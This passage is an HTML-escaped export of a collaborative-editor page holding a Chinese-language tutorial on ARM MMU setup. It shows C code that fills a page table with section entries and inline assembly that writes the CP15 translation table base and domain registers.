border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 constant numeric&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: mediumblue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;author-p-263538 paren rparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword operator&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #687687; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword operator&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #687687; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 identifier&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword operator&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #687687; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;lt;=&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 paren lparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 constant numeric&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: mediumblue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;0xa1000000&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword operator&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #687687; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword operator&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #687687; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 constant numeric&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: mediumblue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;author-p-263538 paren rparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;author-p-263538 paren rparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;)&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line lexer_start gutter-author-p-263538 line-list-type-code emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid74&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-code listindent1 list-code1 lang-c&quot; spellcheck=&quot;false&quot; style=&quot;color: #979797; font-family: monospace; font-size: 14px; line-height: 1.8; list-style: none; margin: 0px 0px 0px 1.5em; padding: 0px; white-space: pre-wrap; word-break: break-all;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;span class=&quot;author-p-263538 identifier&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;page_table&lt;/span&gt;&lt;span class=&quot;author-p-263538 paren lparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;author-p-263538 identifier&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;author-p-263538 paren rparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword operator&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #687687; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 paren lparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;author-p-263538 identifier&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;author-p-263538 constant numeric&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: mediumblue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;-2048&lt;/span&gt;&lt;span class=&quot;author-p-263538 paren rparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword operator&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #687687; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword operator&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #687687; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;author-p-263538 constant numeric&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: mediumblue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;20&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; | &lt;/span&gt;&lt;span class=&quot;author-p-263538 constant numeric&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: mediumblue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;0x0410&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; | &lt;/span&gt;&lt;span class=&quot;author-p-263538 constant numeric&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: mediumblue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;2&lt;/span&gt;&lt;span class=&quot;author-p-263538 punctuation operator&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid75&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;這邊我們想要對應到的位址是0x20000000前12bits是0x200=512，2560-2048=512，所以我們把i減去2048。如此一來，&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-indent emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid76&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-indent listindent1 list-indent1&quot; style=&quot;list-style: none; margin: 0px 0px 0px 1.5em; padding: 0px;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp; page_table[2560]=0x2000412&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-indent emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid77&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-indent listindent1 list-indent1&quot; style=&quot;list-style: none; margin: 0px 0px 0px 1.5em; padding: 0px;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp; page_table[2561]=0x2010412&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-indent emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid78&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-indent listindent1 list-indent1&quot; style=&quot;list-style: none; margin: 0px 0px 0px 1.5em; padding: 0px;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&amp;nbsp; page_table[2562]=0x2010412&amp;nbsp;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 line-list-type-indent emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid79&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-indent listindent1 list-indent1&quot; style=&quot;list-style: none; margin: 0px 0px 0px 1.5em; padding: 0px;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;.........................&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line longKeep gutter-noauthor&quot; id=&quot;magicdomid80&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(255, 255, 255); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;br style=&quot;margin: 0px; padding: 0px;&quot; /&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line gutter-author-p-263538 emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid81&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;接下來要做的事就是把透過CP15 register設定base address、domain、 跟啟動MMU&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;ace-line lexer_start gutter-author-p-263538 line-list-type-code emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid82&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-code listindent1 list-code1 lang-c&quot; spellcheck=&quot;false&quot; style=&quot;color: #979797; font-family: monospace; font-size: 14px; line-height: 1.8; list-style: none; margin: 0px 0px 0px 1.5em; padding: 0px; white-space: pre-wrap; word-break: break-all;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538 keyword&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: blue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;asm&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: blue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;volatile&lt;/span&gt;&lt;span class=&quot;author-p-263538 paren lparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;author-p-263538 string&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #036a07; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&quot;mcr p15, 0, %0, c2, c0, 0&quot;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 punctuation operator&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 punctuation operator&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 string&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #036a07; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&quot;r&quot;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 paren lparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;author-p-263538 identifier&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;page_table&lt;/span&gt;&lt;span class=&quot;author-p-263538 paren rparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 punctuation operator&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 string&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #036a07; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&quot;memory&quot;&lt;/span&gt;&lt;span class=&quot;author-p-263538 paren rparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;author-p-263538 punctuation operator&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line lexer_start gutter-author-p-263538 line-list-type-code emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid83&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-code listindent1 list-code1 lang-c&quot; spellcheck=&quot;false&quot; style=&quot;color: #979797; font-family: monospace; font-size: 14px; line-height: 1.8; list-style: none; margin: 0px 0px 0px 1.5em; padding: 0px; white-space: pre-wrap; word-break: break-all;&quot;&gt;
&lt;li style=&quot;margin: 0px; padding: 0px;&quot;&gt;&lt;span class=&quot;author-p-263538 keyword&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: blue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;asm&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: blue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;volatile&lt;/span&gt;&lt;span class=&quot;author-p-263538 paren lparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;author-p-263538 string&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #036a07; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&quot;mcr p15, 0, %0, c3, c0, 0&quot;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 punctuation operator&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 punctuation operator&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 string&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #036a07; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;&quot;r&quot;&lt;/span&gt;&lt;span class=&quot;author-p-263538&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;author-p-263538 paren lparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;author-p-263538 keyword operator&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: #687687; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;~&lt;/span&gt;&lt;span class=&quot;author-p-263538 constant numeric&quot; style=&quot;border-bottom-color: rgb(127 , 192 , 219); border-bottom-style: solid; border-bottom-width: 0px; color: mediumblue; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;author-p-263538 paren rparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;author-p-263538 paren rparen&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;author-p-263538 punctuation operator&quot; style=&quot;border-bottom-color: rgb(127, 192, 219); border-bottom-style: solid; border-bottom-width: 0px; cursor: auto; margin: 0px; padding: 0px;&quot;&gt;;&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;ace-line lexer_start gutter-author-p-263538 line-list-type-code emptyGutter&quot; data-author-initials=&quot;CH&quot; data-author-link=&quot;/ep/profile/GAFhpsadgI2&quot; data-author-name=&quot;Carlos H&quot; id=&quot;magicdomid84&quot; style=&quot;-webkit-transition: opacity 100ms ease-out; background-color: white; border-left-color: rgb(127, 192, 219); border-left-style: solid; border-left-width: 4px; color: #3b3a3c; font-family: ProximaNova-Light, nova, arial, sans-serif; font-size: 17px; line-height: 1.5em; margin: 0px; opacity: 1; padding: 0px 60px 0px 54px; transition: opacity 100ms ease-out;&quot;&gt;
&lt;ul class=&quot;listtype-code listindent1 list-code1 lang-c&quot; spellcheck=&quot;false&quot; style=&quot;color: #979797; font-family: monospace; font-size: 14px; line-height: 1.8; list-style: none; margin: 0px 0px 0px 1.5em; padding: 0px; white-space: pre-wrap; word-break: break-all;&quot;&gt;
